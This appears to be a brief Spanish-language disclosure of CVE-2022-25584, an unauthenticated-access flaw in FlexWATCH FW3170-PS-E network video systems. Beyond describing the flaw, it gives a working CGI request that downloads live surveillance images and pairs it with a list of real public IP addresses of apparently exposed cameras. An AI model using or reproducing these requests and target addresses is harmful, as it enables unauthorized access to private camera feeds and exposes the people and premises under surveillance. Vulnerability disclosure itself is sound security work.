
Flexwatch-CVE
Flexwatch-CVE
Este documento es para CVE-2022-25584 "RESERVADO"
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25584

Esta vulnerabilidad ha sido indexada por CNVD, pero aún no se ha hecho pública
ID de CNVD:CNVD-2021-103443

Vulnerabilidad a reproducir:
Encontramos que el FlexWATCH FW3170-PS-E Network Video System 4.23-3000_GY propiedad de Seyeon Tech Co., Ltd. tiene una vulnerabilidad de acceso no autenticado, que puede ser explotada por atacantes para obtener imágenes de monitoreo y filtrar información sensible
Por ejemplo:
http://211.174.227.102:10001/app/multi/single.asp

Luego, podemos visitar:http://211.174.227.102:10001/cgi-bin/fwcamimgsave.cgi?FwModId=0&PortId=0&FwCgiVer=0x0001
Descargar la pantalla de monitoreo en tiempo real


Sitio web oficial de la empresa:http://www.flexwatch.com/
Otros casos:
http://211.240.10.38:10001/app/multi/single.asp
http://121.133.21.35:10001/app/multi/single.asp
http://210.223.145.159:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://115.142.194.178:10001/app/multi/single.asp
http://27.1.124.18:10001/app/multi/single.asp
http://183.100.61.196:10001/app/multi/single.asp
http://118.176.196.247:10001/app/multi/single.asp